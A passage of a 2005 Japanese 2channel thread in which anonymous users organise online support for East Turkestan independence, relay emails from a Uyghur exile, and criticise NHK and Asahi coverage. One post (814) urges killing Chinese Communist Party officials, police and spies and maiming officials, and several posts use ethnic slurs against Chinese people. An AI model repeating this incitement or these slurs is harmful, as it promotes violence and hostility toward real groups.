絶対に裏で工作員が操作してるって。

759 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 16:03:10 ID:5DXvJ9Uu0
>>756
ありがとう。
何かできそうになったらよろしく。

760 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/28(金) 16:30:53 ID:rTU1+YUL0
昨日のナレーションのリマスタリング版うpしますた。
(ノイズ除去等&タイトル情報入力)
若干、音質が悪化してる・・・orz

761 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 16:49:02 ID:pLeUR+3K0
>>754とtp://www.nipponkayaku.co.jpと

【国連】イラク石油不正疑惑、報告書の関与一覧表に日本企業名[10/28]
http://news18.2ch.net/test/read.cgi/news5plus/1130480471/l50


762 :507:2005/10/28(金) 17:11:33 ID:9xhUPAPEO
ageを兼ねて現状報告します。
殿岡氏と先程連絡を取りました。
取り敢えず、来週水曜にお会いする事になりそうです。
仕事中につき詳細は後程。ノシ

763 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 17:29:46 ID:CiaDpN640
>>762
GJです!

764 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 17:41:47 ID:5DXvJ9Uu0
>>762
あ 今日じゃなかったのかw
詳細後程よろ

765 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 18:30:59 ID:a5X+QlGf0
そんなことよりおまいら、人権法案もやばいが、女系天皇もヤバイぞ!
[ヒント:賢者は歴史に学ぶ、藤原氏の栄華]

これでピーンとこないやつはいないだろう?
中国・北朝鮮・韓国に怪しい奴を送り込まれたら ど う な る ?

OFF板のスレで活動している人たちもまだ経験不足だ。
良かったら、一緒に活動してほしい。

活動本部
http://off3.2ch.net/test/read.cgi/offmatrix/1129255691/l50

766 :@携帯厨:2005/10/28(金) 19:24:48 ID:8NIdqFQyO
age

767 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 19:36:57 ID:iTbnkP5t0
久しぶりに来ましたよっと


東とるきすたんのプロフィ考えたアホです
イメージとしては「ブリーチ」という漫画の夜一というキャラが
近いです
年齢が高めなのは、萌え=「ロリペド変態趣味」という認識が
どうも世間一般では強そう、ということと
広報官という設定上無理があるかなと思いまして
まあ子供に見えても「18歳以上です」と言い張る手もありますが
それもどうかなと
そしてなにより「健やかさ」と「意志の強さ」を表すキャラにしたかったので
あんな感じになりました
萌え要素としてはお気づきの方も多いでしょうが「ツンデレ」でございます
村田蓮爾さんや杉浦善夫さんに絵を描いてもらいたいなあ
まあプロなので無理でしょうが


768 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 19:39:54 ID:YkSYYIDL0
>>762
gj

>>758および皆の衆
ttp://www.technorati.jp/home.html
ここも挑戦しないか?
朝鮮玉いれが上位にランクされてるし、エアロバキバキも載ったことがあるし、不正はされないんじゃないかな

769 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 20:02:16 ID:C3HgOMUf0
頂!

770 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 20:38:48 ID:+0pqiNLJ0
頂頂頂〜

771 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 20:48:13 ID:tDgAw+ef0
檄文
今、法政大学学生会館の存在が窮地に立たされています。
国家権力と法政大学当局の学生自治への不当な弾圧により法政大学学友4名が公安警察により逮捕されています。
その中には学生会館を運営している理事長と事務局長が含まれており、このままもし起訴されるようなことがあれば
学生会館を運営している法政大学学生連盟は混乱状態になるとして、学生単独管理という今の状況を法政大学
当局が不当に認めないこととなることが予想されます。
この事件の不当性は、理事長の逮捕容疑が威力業務妨害と建造物不法侵入とされているが、その事件の時間帯には
理事長はカレー屋でカレーを売っていたという証言が多数あることからも判断できるのである。この事件を利用して法政大学
当局が公安警察を介して学生自治を弾圧しようとしていることは明白である。大学当局による弾圧行為は1977年5月27日の308人
学友逮捕以来25年ぶりの不当行為である。この事実を法政大学学友及び関東学生探検連盟関係者諸氏は断固として認める
わけにはいかない。明日1月26日午後7時より、1・26法政大学当局追及学生集会が行われ、法政大学学生部長に対して公安警察を通じた
不当捜査の取りやめと大学当局が出した被害届の取り下げによる4人の学友の奪還釈放を要求する。不当逮捕は基本的人権の侵害
にあたる。それに抗議するため明日学友及び関東学生探検連盟関係諸氏に集会の参加を求める。関東学生探検連盟はその創設以来
法政大学学生会館を総会の会場として利用してきた。その恩義に報いるため、また我々の権利を守るため、関東学生探検連盟関係者
諸氏に集会の参加を呼びかけるものである。

1998年度関東学生探検連盟副会長  戸田聡 ・ 林剛
http://www.karin.sakura.ne.jp/~tanken/renmei/

後期探検報告会の講演者は 【本多勝一氏】(予定)
http://www.karin.sakura.ne.jp/~tanken/renmei/soukai/00/zenki-houkokukai-houkoku.htm

イラク侵略戦争断固阻止!ムスリム人民と連帯を!
http://www.surfline.ne.jp/ibn-stoda/saddamposter01.htm

http://www.geocities.co.jp/SilkRoad-Lake/4673/buinnsyoukai.htm
8回生 林剛 通信教育学部経済学部商業学科4年
部友 戸田聡 明治大学大学院文学研究科史学専攻博士前期過程3年

772 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 21:16:59 ID:F+ZdWrh20
法政大は荒らしですか

773 :670=731:2005/10/28(金) 21:36:44 ID:URBFPSys0
>>760
お疲れ様です。
実は>>670>>716がテレコで御座います。
私のナレーションは041.mp3です。
一応プロですのでクレジットには五月蝿いですw

774 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 22:04:10 ID:3DasUoQ60
対vankチームがやったようですね。見事 本当に乙でした。

775 :以下、716にかわりましてVIPがお送りします:2005/10/28(金) 22:32:32 ID:32F3zN+u0
ども、なぜか声優氏と間違われている716だおw
アップするタイミングがアレすぎたみたいで正直反省してる orz
本物の声優氏こと773、ごめんどすえ。
そして一兵士@電網遊撃隊殿、手数だけどできれば直してあげて。
が、大分クリアな音でびっくらこいたおwwいい腕だwwww

776 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 22:39:03 ID:7pgZirSV0
昨日ウイグル太郎さんにNHK番組をどう思うかメールしたものです。
返信が来てました。
丸ごとコピペだとまずい部分もあるんで、
飯食って風呂はいって、また来ます。

777 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 23:18:23 ID:yXxQFJIh0
>>776
乙。
期待してるよ。

778 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 23:40:21 ID:F7Lc8isQ0
支援頂!

779 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 23:50:34 ID:qdBo9UGS0
「東トルキスタン」テロ勢力は重大脅威 王国連大使
http://www.asahi.com/international/jinmin/TKY200510280196.html

780 :507:2005/10/28(金) 23:53:59 ID:2pau4rMN0
おいすー。
つい今しがた、振られたばかりの漏れが帰還しますたよ。
眼から変な汁が出て止まりませんが、やるべきことはちゃんとやるお。
これから簡単に報告まとめますね。
わっはっは。

それはそうと、TBSの電波が相変わらず凄まじいでつねage

781 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 23:57:24 ID:7h40Sz2p0
ヨーロッパもアメリカも中国の非人道的な行為に対して責任を追及したいはずだ。
中国になだめられてタブーとするか 東トルキスタンのことをてこに中国共産党のやり方にNOと言うか
日本国民がどっち選ぶのかは VIPPERの双肩にかかっていることを忘れてはならない。

782 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 00:11:11 ID:aR5NguAf0
>>780
>眼から変な汁が出て止まりませんが

おいおい、報告は楽しみだが、あまり無理するなよ。

783 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 00:16:47 ID:+aybN3IY0
今北産業

784 :776:2005/10/29(土) 00:17:28 ID:ObW52iDE0
ウイグル太郎さんからの返信です、一部削ってあります。

----------------------------------------------------
シルクロード関係の番組も見たことはありますが、殆ど中国と協力し、政治や侵略や、
民族問題に触れずに、知らんふりをして番組を作ってきました。
NHKがトルコに東トルキスタンのことを取材に来るかまたは私が日本に行って、
東トルキスタンの紹介するかその時に、今まで言わなかった事実など皆さんに
伝わるようになるでしょう。
中国は国際世論を曲げて、侵略、殺害などを隠し、日本国民も騙すために、細かいこと、
漢族や政権のために投資し、行った建設などを<ウイグル人の為にした>と見せ、騙そうとしている。
もし、漢族やその政権に<なぜウイグル自治区でそんな建設をしましたか>、と聞いたら、
答えられないでしょう。
人間の定義はうそをつかないことです。恥知らずに、うそばかり言っている。
漢族を東トルキスタンに流入させ、資源をスピードアップするために道路を作っても、
<新疆の経済を発展させるために建設をした>とプロパガンダをする。
ウルムチなどの高いビルの中にウイグル人がいないよ。99%漢族!
全て皆さんを騙すために報道したでしょ。NHKはこの意味で、
北京政府の手伝いしているに過ぎない。残念ですが。
ウイグル太郎
info@eastturkistan-gov.org
http://www.uygur.org/japan/news.htm

785 :776:2005/10/29(土) 00:21:02 ID:ObW52iDE0
>>780
乙です。

なんつーか亡命者って、大変だよな。
筑紫には悪いが、俺は国家の重要性をひしひしと感じている。
地球市民とか9条とかやってたら、日本も東トやチベットのようになってしまう。


786 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 00:25:19 ID:qke+di3Q0
>>784
> 全て皆さんを騙すために報道したでしょ。NHKはこの意味で、
> 北京政府の手伝いしているに過ぎない。残念ですが。

なんか勝手にイジけてる感じがする。
NHKはあのネタの中、よく頑張って突っ込んだと思う。

でも、ウイグルの人は大変だろうからなぁ、とも思った。
全く環境が違うから、俺がこんなこと言ってもしょうもないかもしれん。

水を差したようだったらごめん。

787 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 00:28:57 ID:32GyX9CQ0
みんな乙です。

>>780
その責任感はすごい嬉しいです。がんばって報告してください。
でも泣くべきときにはきちんと泣いておいた方が良いので、終わったら無理せずに。


>>784
乙であります。
中国の宣伝そのままのNHKってのは良く分かっているみたいですね。
ウイグル太郎さんのこれからの活躍にも期待。
てか彼のほうが俺らに期待しているかもw

788 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 00:29:08 ID:anZkqK480
なんとなく「結果として」北京政府の(ry
と言っている気がする。

789 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 00:33:03 ID:ztlrrVsC0
>>784
乙。

なにか既視感を感じる文章だと思ったら、アカヒが日本の朝鮮支配を非難する時の文章と同じだ。
違う点は、アカヒのは捏造と決め付けである点だけど、アカヒがあんなに叩いている
(アカヒの中での)戦前日本の朝鮮支配と、同じ事が現実に行われている訳だ。
アカヒは、こっちをもっと取り上げて非難しろよな。

790 :776:2005/10/29(土) 00:36:45 ID:ObW52iDE0
>>786
ウイグル太郎が特定されるかもしれないから、削除したけど
彼にはNHKを嘆く理由があるんだ。
それと、言葉の問題もあるから

>水を差したようだったらごめん。

そんなことないよ、みんなで忌憚なく話し合おう。

791 :776:2005/10/29(土) 00:39:58 ID:ObW52iDE0
>>787
>中国の宣伝そのままのNHKってのは良く分かっているみたいですね。

ウイグル太郎さんはけっこう日本のメディア状況に詳しい。
NHKと朝日には批判的で、産経を褒めてた。
朝日はワールドワイドに恥を拡散してる。

792 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 00:43:40 ID:aGwtSo7w0
NHKからすると中国よりの報道をしないとカタコトのクレームやら脅迫やら予算やらで攻撃されますからね。
一概にNHKを攻められないとは思うけど何とかならんものかねぇ・・。

793 :776:2005/10/29(土) 00:57:08 ID:ObW52iDE0
んで、俺が思ったことだけど。
対国際のHPで日本語表記があることはほとんどない。
たいてい英語・スペイン語・ドイツ語・フランス語くらいか
もちろん話者の数の問題はあるんだろうけど
考えてみれば日本って一応世界二位の経済大国なんだよな
寄付を募るとするなら、日本語ページを設けて損はないはずだ
でも、無い。
ここら辺に、世界における日本のあり方が端的に表れてるな。
政治的にまるで無力と判断されているのだろう。
この状況を変えていきたいものだ。

794 :507:2005/10/29(土) 00:58:33 ID:iEYd2nNg0
それでは、簡単ですが…

夕方ごろ殿岡氏と電話で話をしました。
基本的には来週の日程に関するお話でしたので、それ以外の事について報告します。

まず、質問事項が多い事をお伝えした所、笑いながらも少し驚かれた御様子。
「ハハハ、僕も勉強中だから、答えられない事もあると思いますが」などと少し謙遜されていました。
取り敢えず、事前に一度眼を通して頂いた方が良いかと思い「現時点での質問内容を、今夜もしくは明日メールでお送りする」という事に。
今夜はちょっとメンタル的に厳しいので、明日送ります。ゴメンナサイ。
無論、メール送信後もこれで締め切りと言う訳では在りませんので、質問内容については引き続きご提案(修正・追加含め)頂けると助かります。

後は式典当日の撮影に関して。
事務所のスタッフに大学院生の方(名前は伏せます)がいらっしゃるらしく、其の方が私と会って色々と撮影の話をしたがっているとの事。
私はデジカメで写真を撮る程度のつもりでしたが、何だか本格的な物と勘違いされてる様な気がします。怖いですね。
まぁ、兎にも角にも、式典当日の様子は絵付きでお伝え出来そうです。
この方はネットも利用されているらしいので、もしかするとこのスレの事も知っているかも知れません。
水曜は、この方も交えて3人でお話する事になるようです。

つづく

795 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 00:58:44 ID:hkh3vfqA0
>766=>784氏
乙でした。

現行スレで出てきた「ウイグル太郎氏とのやり取り」をミラーに2まとめておきました。
前スレの方はまた後で。

796 :507:2005/10/29(土) 00:59:28 ID:iEYd2nNg0
それと、嬉しい報告を一つ。
必ずしも「VIP」の活動の結果だけでは無いのでしょうが、「ネットを見て、式典の問い合わせをする方」が結構大勢いらっしゃるようです。
「皆さんが頑張って下さるおかげです。本当に有難う」と仰っておられました。こういうのは素直に嬉しいですよね。
本当の所、どの程度の力に成っているのか判りませんが、私自身此処を見て問い合わせをした訳ですから決して少なくは無いのかも知れません。

おまいら! 皆の活動は無駄じゃないお!!

ただ一点。
なりゆきとはいえ、現状私が殿岡氏との窓口のような形になってしまっていますが、
先生からの生のお礼の声を直接皆さんにお伝えできないのが…結構心苦しいです。
皆さん、申し訳有りません。

何か動きがあれば、また報告いたします。
それまでは名無しに戻りますので、何かあれば呼び出してください。
それでは。ノシ

>>776
乙です。
太郎さんの返事、殿岡氏にもメルしておきますね。

797 :fjell:2005/10/29(土) 01:05:00 ID:ZN3u53P30
>>790>>786
まぁ、色々な意見があっていいと思いますよー。
意見は伝えないと、お互い不満が溜まりますからね。

それでも、まぁ、言葉の壁は、どうしたって、やむをえないかなぁ、とも思ったり。
あれだけ流暢な日本語を書ける時点で、すごい努力を積んだもんだなー、と。

>>792 いやさ。NHKの中の人にも言い分はあるのはわかるけど。。
企業としての姿勢を中立と言いながら、一方向からの視点で物事を語ったら、だめでそ。

放送法 第3条の2
2.政治的に公平であること。
4.意見が対立している問題については、できるだけ多くの角度から論点を明らかにすること。

少数派(?)の意見を拾い上げたらキリがないのかもしれないけれど、公共放送を名乗る以上は、
もう少し多角的な視野をもってもらいたいですね。結論ありき、じゃなくていいから。

 

798 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 01:12:14 ID:U3gHsuTl0
コテ身内だけの内輪話になりつつあるのまネコ問題
とうとう名無し差別に発展

http://off3.2ch.net/test/read.cgi/offmatrix/1130212251/432
http://off3.2ch.net/test/read.cgi/offmatrix/1130212251/691
現スレ、コテによる挑戦的発言!行動を起こさない奴が
モナーを語ったり、使う資格無しとも取れる発言!

さらにコテによる自作自演行動も発覚!
http://off3.2ch.net/test/read.cgi/offmatrix/1129977409/615

現在、あーという人物が時系列順に事の成り行きを自分目線で説明。
http://off3.2ch.net/test/read.cgi/offmatrix/1129977409/572 から


過去の問題点
のまネコ問題!
avexに抗議という名目で女漁りをするオフという事実が発覚!
http://off3.2ch.net/test/read.cgi/offmatrix/1129142889/573-575
コテVS名無し 抗争勃発
http://off3.2ch.net/test/read.cgi/offmatrix/1129977521/569

799 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 01:15:40 ID:2P/UhAjD0
507氏、支援age
今からしっかり読むお。

800 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 01:27:03 ID:T0CQAqK/0

良スレあげ

801 :507:2005/10/29(土) 01:40:51 ID:iEYd2nNg0
あー忘れてた。

学生時代の恩師が某県の県会議員をやってるので、この件について今日電話で話してみますた。
学校教育に力を入れていて「今の若い者が無気力なのは、捻じ曲げられた自虐史感のせいだ」なんてプンスカしてる方です。
(別に戦争マンセーじゃないですよ?)
曲がったことが大嫌いな方なので、結構、弾圧については憤慨してたみたい。
「実に怪しからん!こっちでも調べてみる!」とかいってたお。
もう何期も連続当選している方なので、それなりに力は有るみたいだから…
いや、それだけなんですけどね。

何か変わるといいね。

今日は駄目だ…寝ます。。。(´;ω;`)ウッ

802 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 01:48:02 ID:ztlrrVsC0
>>801
お疲れさま。
一緒に呑む事はできないけど、おまいの明日が良い日である事を祈って杯を空けてるよ。

803 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 01:56:24 ID:NNOzLRPr0
>>801
>何か変わるといいね。

本当にそうだよね。
変えなきゃ、日本は滅んでしまうよ。

804 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 02:22:39 ID:ZO0ocXtM0
nerumaeniage

805 :fjell:2005/10/29(土) 02:27:08 ID:ZN3u53P30
>>801 お疲れさまですー。ご報告、楽しみに待っています。
その行動力にage

806 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 02:54:33 ID:lG86/Fjt0
雨降り渋く鉄兜意

807 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 03:00:41 ID:VzvgaMb/0
檄文
今、法政大学学生会館の存在が窮地に立たされています。
国家権力と法政大学当局の学生自治への不当な弾圧により法政大学学友4名が公安警察により逮捕されています。
その中には学生会館を運営している理事長と事務局長が含まれており、このままもし起訴されるようなことがあれば
学生会館を運営している法政大学学生連盟は混乱状態になるとして、学生単独管理という今の状況を法政大学
当局が不当に認めないこととなることが予想されます。
この事件の不当性は、理事長の逮捕容疑が威力業務妨害と建造物不法侵入とされているが、その事件の時間帯には
理事長はカレー屋でカレーを売っていたという証言が多数あることからも判断できるのである。この事件を利用して法政大学
当局が公安警察を介して学生自治を弾圧しようとしていることは明白である。大学当局による弾圧行為は1977年5月27日の308人
学友逮捕以来25年ぶりの不当行為である。この事実を法政大学学友及び関東学生探検連盟関係者諸氏は断固として認める
わけにはいかない。明日1月26日午後7時より、1・26法政大学当局追及学生集会が行われ、法政大学学生部長に対して公安警察を通じた
不当捜査の取りやめと大学当局が出した被害届の取り下げによる4人の学友の奪還釈放を要求する。不当逮捕は基本的人権の侵害
にあたる。それに抗議するため明日学友及び関東学生探検連盟関係諸氏に集会の参加を求める。関東学生探検連盟はその創設以来
法政大学学生会館を総会の会場として利用してきた。その恩義に報いるため、また我々の権利を守るため、関東学生探検連盟関係者
諸氏に集会の参加を呼びかけるものである。

1998年度関東学生探検連盟副会長  戸田聡 ・ 林剛
http://www.karin.sakura.ne.jp/~tanken/renmei/

後期探検報告会の講演者は 【本多勝一氏】(予定)
http://www.karin.sakura.ne.jp/~tanken/renmei/soukai/00/zenki-houkokukai-houkoku.htm

イラク侵略戦争断固阻止!ムスリム人民と連帯を!
http://www.surfline.ne.jp/ibn-stoda/saddamposter01.htm

http://www.geocities.co.jp/SilkRoad-Lake/4673/buinnsyoukai.htm
8回生 林剛 通信教育学部経済学部商業学科4年
部友 戸田聡 明治大学大学院文学研究科史学専攻博士前期過程3年

808 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 05:08:10 ID:xZmLipWfO
がんがれAGE

809 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 05:14:14 ID:fb6VRJdD0
VANKスレより支援age!

810 :ウイグル太郎:2005/10/29(土) 06:55:37 ID:c/JKf2kI0
中国共産党侵略者は自らの侵略行為を隠すために、下記の単語をよく使う:
自治区(まるで自治権があるように)、少数民族(植民地国家の国民、民族名を言わない、隠す)、
各民族(漢族が侵略者人口であることを隠し、漢族侵略者、ヤクザに反対した現地民を非難して弾圧するために)、
後は、国際的に出てきた新しい単語を悪用する:
イスラムテロ(東トルキスタン独立運動を非難し、弾圧を正当化するため)、
ダライラマ分裂者(チベット侵略を隠し、チベット人弾圧を正当化するため)、
モンゴル分裂者(モンゴル侵略を隠し、モンゴル民族への弾圧を正当化させるために)。
民族文化消滅、種族消滅を実施させるために、漢語(中国語)を文化の印として宣伝する、
就職の条件とする。中国語が上手でも、就職させない。これは反中、反侵略しない洗脳された世代を
育てるファッショ的な政策。

811 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 09:06:51 ID:Wgp8JnrL0
           ????
         ?▲????
     ?????      ?〓??
    ??  ▼              ??
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    ?   ▲ ?          ?     ?     ?
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812 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 10:04:06 ID:TwLKpuoD0
頂!

813 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 10:51:02 ID:anZkqK480
>>810
さりげなく書き込みが・・・
応援してます。

814 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 11:14:09 ID:c/JKf2kI0
中華帝国を崩壊させる為に中国共産党の言うことの反対をする。
例えば、政治、社会安定は一番大事。
不安定を起す全てのことをする。密かな宣伝、共産党の幹部、警察、秘密警察などを殺す。
スパイを殺す。当局の手先を怪我させる。手足を折ってやるなど。
共産党書記の首を切るとか。

815 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 11:18:11 ID:/UPcPSNY0
>>814
http://forum.japantoday.com/upfiles/31142/08EA2ACE30A04CB9AC4E8E4434430128.jpg


816 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 11:25:01 ID:CZ/xhFn50
vankスレの勝利をうけまして そろそろ点と点をつなげて堤防を築く頃に入ったのではないかと思うのであります。
東トルキスタン、人権擁護法案、中国vsVIP、電凸組、その他、互いに支配されず それでいて うまく力をあわせられるような 「何か」を
考え始めてよいのではないかと。。。


817 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 11:25:34 ID:c/JKf2kI0
そろそろあの↑悪魔も、その政権も死ぬだろう、間違いなく。
まるで悪魔に見える。

818 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 12:34:59 ID:/UPcPSNY0
昨日、東トルキスタンの隣”カザフスタン”の報道を見ました。

これは驚いた、”こ・こんなとこにも’キムジョンイル’?”と思わず叫んでしまいそうな独裁政権の大統領

豊富な地下資源を持ちながら、開発する資金も技術力も無い。
ロシアは嫌いだし、かといってアメリカも嫌、そこでああら不思議 ”シナー”の登場!

トルキスタンを足がかりにして、東シナ海なんか痛くも痒くもないパイプラインを繋ごうとしてます。
もちろん、中国の”お役人”がご登場して10年後には50万人の大都市にしてみせるとノタマッタ。

ちらっとだけ、現地住民のインタビューで「表に見えるとこだけ、商売できるやつだけが豊かになる」
とお決まりのコメントを報道したのは、ちょっとだけほめて上げようかという気持ちになった。

シナーは中央アジアでやりたい放題!こんな国にODAした日本は悪に手をかす大悪人ですぞ


819 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 13:53:56 ID:yqqmBIZl0
頂!

820 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 14:41:21 ID:aGwtSo7w0
支援あげ

821 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 14:52:18 ID:JrdRurUt0
226 名前:神奈さん[] 投稿日:2005/10/29(土) 13:51:19 ID:PwMSdTHw
VIPからきますた

227 名前:神奈さん[] 投稿日:2005/10/29(土) 13:51:29 ID:6/sFXapk
うるせーくそやろうども

228 名前:神奈さん[] 投稿日:2005/10/29(土) 13:53:36 ID:6/sFXapk
VIPなんて一回いったことあるけど、糞だよ、 K  U S O

http://kanto.machi.to/bbs/read.pl?BBS=kana&KEY=1128523669&START=240&END=240


822 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 14:57:32 ID:362dbl/J0
age

823 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 16:05:02 ID:aGwtSo7w0
支援あげ

824 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 16:08:24 ID:32GyX9CQ0
さっそく「2chSNS」に「東トルキスタンを守れ」コミュつくってきたよw
http://2ch.pne.jp/page.php?p=c_home&target_c_commu_id=1661

2chSNS
      ↓
1 名前:以下、名無しにかわりましてVIPがお送りします[] 投稿日:2005/10/27(木) 14:33:04 ID:A2EyS1vu0
http://2ch.pne.jp/

mixiを超えるにはお前らの力が必要なんだ

SNS統計ページ
http://sns.satoru.net/

825 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 16:12:04 ID:32GyX9CQ0
mixiとの重複なんで、ただの宣伝のつもりでやります
招待ほしいひと捨てメールアドレスよろ

826 :824:2005/10/29(土) 16:36:06 ID:32GyX9CQ0
注意

グー、ラブリ、フーズ等へのメールは届きません
別のフリーメール等を利用しましょう。

※yahoo、hotmailが、早いし間違いありません。
※また今のところ退会機能は実装されていません。
※複数の招待メールが来た場合は 「最後に来たメールが有効」 です。
その他は無効。破棄しましょう。

2chSNS
URL:http://2ch.pne.jp/

827 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 16:58:03 ID:ZoG+HBMs0
特定左翼について

tp://www.zianplus.net/cgi-bin/vote+/vote.cgi?detail=%93%c1%92%e8%83T%83%88%83N&room=1130413684

828 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 18:02:11 ID:mHBZ/HHJ0
今日もageてくぜ!おっぱーい!!

829 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 19:25:14 ID:0GR5mpn6O
フラッシュの声ってもう人いらない?前から見てたんだけどほかに手伝えそうな事ないから必要なら手伝うよ

830 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 19:42:31 ID:c/JKf2kI0
東トルキスタン難民
http://www.uygur.org/japan/et/2005/1029.htm


831 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 19:56:13 ID:iEYd2nNg0
「中国の火薬庫―新彊ウイグル自治区の近代史/今谷 明」のあとがきに興味深い記述を発見

「東干人が決起しない限り、回民反乱が新疆独立に結びつくことは困難であろう。
それでは、将来、東干人が馬仲英のような英雄を戴いて中央政府に牙を剥くことはあり得るのだろうか。
近年、(著者が)西北辺境や雲南各地を旅行してまわった限りでは、東干人のあいだにそのような動きを見出す事は困難であった。
現在、東干の人々は、改革政策の恩恵も受けて保守化しており、彼らの間にイスラム原理主義が浸透する事態は予測しにくい。
ただ、現在の共産党政権の統制力が今よりもっと弛緩して、中央の規制が極端に緩くなった場合の事態は、予測がつかない。」

2000年の著作だから、今は幾らか状況が変わってるでしょうが…
この「中央の規制」がどういった物なのか興味深々だったり。

832 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 19:58:22 ID:jdcFINa10
+   +
  ∧_∧  +   今宵 CCCでお楽しみ会
 (0゚・∀・) ワクワク
 (0゚∪ ∪ + テカテカ 20時からだお
 と__)__) +

http://uzeee.orz.hm/bargiko/bargiko.php?type=eventhall&id=1123841502437


833 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 19:58:55 ID:iEYd2nNg0
>>824
乙ー

>>829
要ります、要ります。歓迎。
宜しくお願いします。

834 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 21:11:35 ID:aGwtSo7w0
支援上げ

835 :織瀬:2005/10/29(土) 22:03:35 ID:4AzniGf+0
>>507>>678>>680>>681>>683
質問の返答をいただいたので、こちらに載せました。
よろしくお願いします。
http://uygur.fc2web.com/uygur15_2.html

836 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 22:08:40 ID:aGwtSo7w0
GJJJ!!!

837 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 22:34:22 ID:iEYd2nNg0
>>835
ちょwwwおまwwwwwGJwwwwwww!!

でも「(5)その他」については、殆んどが日本国内の問題なので、ウイグル太郎さんも答えに困っただろうなーw

ともあれ、ご苦労様でした。熟読いたします。
太郎氏にも宜しくお伝えください。

838 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 22:46:46 ID:zqIIPusF0
>>835
なんか誤字多いけど乙。
募金集まってないんだねぇ。
独立記念日行事の会場に募金箱置いてるかな?

839 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 22:57:14 ID:362dbl/J0
押田さん寄付したんだってよ
ttp://oshida.exblog.jp/

840 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 23:06:50 ID:Auo9uwqF0
>>824
参加させてもらいました.

841 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 23:07:51 ID:oKFbmMKF0
>>835
うーん。漢民族への恨が強すぎます。
独立政府とは関わりたくないと思いました。
もともと独立に重点をおいてるわけじゃないし。(俺は)

どーもね、ところどころで出る漢民族って括りがきにくわない。
独立する前後の混乱期において、漢民族への虐殺等を東トルキスタン憲法において
行わないし、させないって今現在において宣言しないと信用してやらない。


842 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 23:34:13 ID:MvKyFG3o0
>>835
ウイグル太郎が大変なのは分かるが、亡命政府は独立目標あっての亡命政府なんだなって感じた。
↓のブログも読んで中国の弾圧を非難するのはいいけど、
平和ボケの中で育ったおいらが安易にそこに住んでる人の命を左右する独立問題には関わるべきではないと改めて思った。
age

http://kok2.no-blog.jp/tengri/
このうち「人権抑圧反対」はいいとして、東トルキスタン独立運動をウイグル人による一枚岩の「民族自決」要求の運動としてとらえるのはあまりにナイーブで、危険でもある。
簡単に言えば、そういった立場は、地域の中に住む漢族とウイグル人以外の諸民族(カザフ人、キルギス人・・)のことを全く考慮に入れていないし、
またウイグル人社会内部に存在するあまりに大きな意識の隔たり(漢族ともなんとかうまくやっていきたいと思うものから、あいつらブッ殺したる、というものまで)も無視されている。
要するにその「支持」が本当にそこに暮らしている人々のためになっているのかどうか、という内省がないことが気になるのだ。

843 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 23:42:00 ID:MvKyFG3o0
>>835
